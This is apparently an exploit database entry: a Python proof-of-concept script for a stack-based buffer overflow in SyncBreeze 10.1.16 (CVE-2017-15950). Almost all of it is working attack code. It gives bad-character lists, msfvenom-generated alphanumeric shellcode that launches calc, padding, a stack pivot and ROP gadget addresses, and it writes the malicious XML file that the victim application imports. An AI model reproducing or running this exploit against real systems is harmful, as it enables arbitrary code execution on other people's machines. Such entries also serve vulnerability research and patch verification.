SyncBreeze 10.1.16 - XML Parsing Stack-based Buffer Overflow

# Exploit Title: SyncBreeze 10.1.16 - XML Parsing Stack-based Buffer Overflow
# Date: 03/27/2021
# Author: Filipe Oliveira - filipecenturiao[at]hotmail.com Rafael Machado  - nnszs[at]protonmail.com
# Vendor: https://www.syncbreeze.com/
# Software Link: https://www.4shared.com/file/57pE4sZfiq/syncbreeze_setup_v10116.html
# Version: SyncBreeze v10.1.16 x86
# Tested on: Windows 10 x64 (19042.867)
# CVE: CVE-2017-15950

Usage: The exploit will generate a POC file, called xplSyncBreeze.xml. Launch the application and click on Import Command, then load the POC file. 

# -*- coding: utf-8 -*-
    
import struct

# badchars
#\x00\x0a\x0d\x20\x27
#\x81\x82\x83\x84\x85\x86\x87\x88
#\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90
#\x91\x92\x93\x94\x95\x96\x97\x98
#\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0
#\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8
#\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0
#\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8
#\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0
#\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8
#\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0
#\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8
#\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0
#\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8
#\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0
#\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8
#\xF9\xFA\xFB\xFC\xFD\xFE\xFF

# Shellcode payload size: 432 bytes
# msfvenom -a x86 --platform windows -p windows/exec CMD=calc -e x86/alpha_mixed BufferRegister=EAX -b '\x00\x0A\x0D\x20\x27' -v shellcode -f python

shellcode =  b""
shellcode += b"\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
shellcode += b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"
shellcode += b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
shellcode += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x6b\x4c\x69"
shellcode += b"\x78\x4e\x62\x75\x50\x77\x70\x35\x50\x45\x30"
shellcode += b"\x4b\x39\x59\x75\x55\x61\x39\x50\x52\x44\x4e"
shellcode += b"\x6b\x42\x70\x50\x30\x6e\x6b\x42\x72\x54\x4c"
shellcode += b"\x6c\x4b\x70\x52\x74\x54\x4c\x4b\x62\x52\x66"
shellcode += b"\x48\x44\x4f\x48\x37\x61\x5a\x51\x36\x45\x61"
shellcode += b"\x39\x6f\x6e\x4c\x75\x6c\x43\x51\x71\x6c\x65"
shellcode += b"\x52\x56\x4c\x47\x50\x4b\x71\x38\x4f\x74\x4d"
shellcode += b"\x37\x71\x49\x57\x38\x62\x7a\x52\x52\x72\x36"
shellcode += b"\x37\x4c\x4b\x63\x62\x42\x30\x6c\x4b\x31\x5a"
shellcode += b"\x57\x4c\x4c\x4b\x32\x6c\x36\x71\x31\x68\x4a"
shellcode += b"\x43\x47\x38\x47\x71\x4a\x71\x76\x31\x6c\x4b"
shellcode += b"\x36\x39\x67\x50\x66\x61\x58\x53\x4c\x4b\x70"
shellcode += b"\x49\x66\x78\x59\x73\x34\x7a\x53\x79\x6e\x6b"
shellcode += b"\x50\x34\x4c\x4b\x66\x61\x4e\x36\x55\x61\x39"
shellcode += b"\x6f\x4c\x6c\x4a\x61\x4a\x6f\x34\x4d\x67\x71"
shellcode += b"\x48\x47\x67\x48\x69\x70\x71\x65\x59\x66\x54"
shellcode += b"\x43\x63\x4d\x79\x68\x75\x6b\x73\x4d\x67\x54"
shellcode += b"\x44\x35\x79\x74\x72\x78\x4e\x6b\x53\x68\x71"
shellcode += b"\x34\x57\x71\x5a\x73\x52\x46\x6c\x4b\x36\x6c"
shellcode += b"\x72\x6b\x6c\x4b\x76\x38\x75\x4c\x67\x71\x68"
shellcode += b"\x53\x6e\x6b\x57\x74\x4e\x6b\x63\x31\x78\x50"
shellcode += b"\x6f\x79\x73\x74\x47\x54\x64\x64\x53\x6b\x31"
shellcode += b"\x4b\x63\x51\x50\x59\x63\x6a\x43\x61\x39\x6f"
shellcode += b"\x59\x70\x73\x6f\x31\x4f\x62\x7a\x4e\x6b\x44"
shellcode += b"\x52\x6a\x4b\x4e\x6d\x53\x6d\x73\x5a\x63\x31"
shellcode += b"\x4c\x4d\x4d\x55\x6f\x42\x75\x50\x47\x70\x33"
shellcode += b"\x30\x46\x30\x50\x68\x74\x71\x6c\x4b\x42\x4f"
shellcode += b"\x6e\x67\x39\x6f\x6e\x35\x6f\x4b\x58\x70\x78"
shellcode += b"\x35\x79\x32\x46\x36\x33\x58\x79\x36\x4c\x55"
shellcode += b"\x4f\x4d\x6d\x4d\x39\x6f\x6a\x75\x55\x6c\x63"
shellcode += b"\x36\x61\x6c\x45\x5a\x6d\x50\x49\x6b\x39\x70"
shellcode += b"\x32\x55\x75\x55\x6d\x6b\x57\x37\x64\x53\x74"
shellcode += b"\x32\x52\x4f\x50\x6a\x53\x30\x61\x43\x59\x6f"
shellcode += b"\x78\x55\x73\x53\x30\x61\x30\x6c\x72\x43\x43"
shellcode += b"\x30\x41\x41"


# padding to crash buffer
basura = struct.pack('<L', 0x41414141) * 390

# gadgets to move payload pointer into EAX
GAD1 = struct.pack('<L', 0x65235465) # XCHG EAX,EBP
GAD2 = struct.pack('<L', 0x6506537C) # CALL EAX

# padding to reach buffer address stored in ebp
basura2 = struct.pack('<L', 0x41414141) * 56

# padding for stack pivot

padding = struct.pack('<L', 0x41414141) * 4
padding2 = struct.pack('<L', 0x41414141) * 20

# stack pivot to reach an area with more space for gadgets on the stack
# 0x6506491c: add esp, 0x48 ; pop edi ; pop esi ; ret

pivot = struct.pack('<L', 0x6506491c)

# final payload

fruta = basura + pivot + padding + padding2 + GAD1 + GAD2 + basura2 + shellcode


# write payload to xml file

payload = open("xplSyncBreeze.xml", "wb")
payload.write("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n".encode('utf-8'))

payload.write("<sync name='".encode('utf-8'))
payload.write(fruta)
payload.write("'>\n</sync>\n".encode('utf-8'))

payload.close()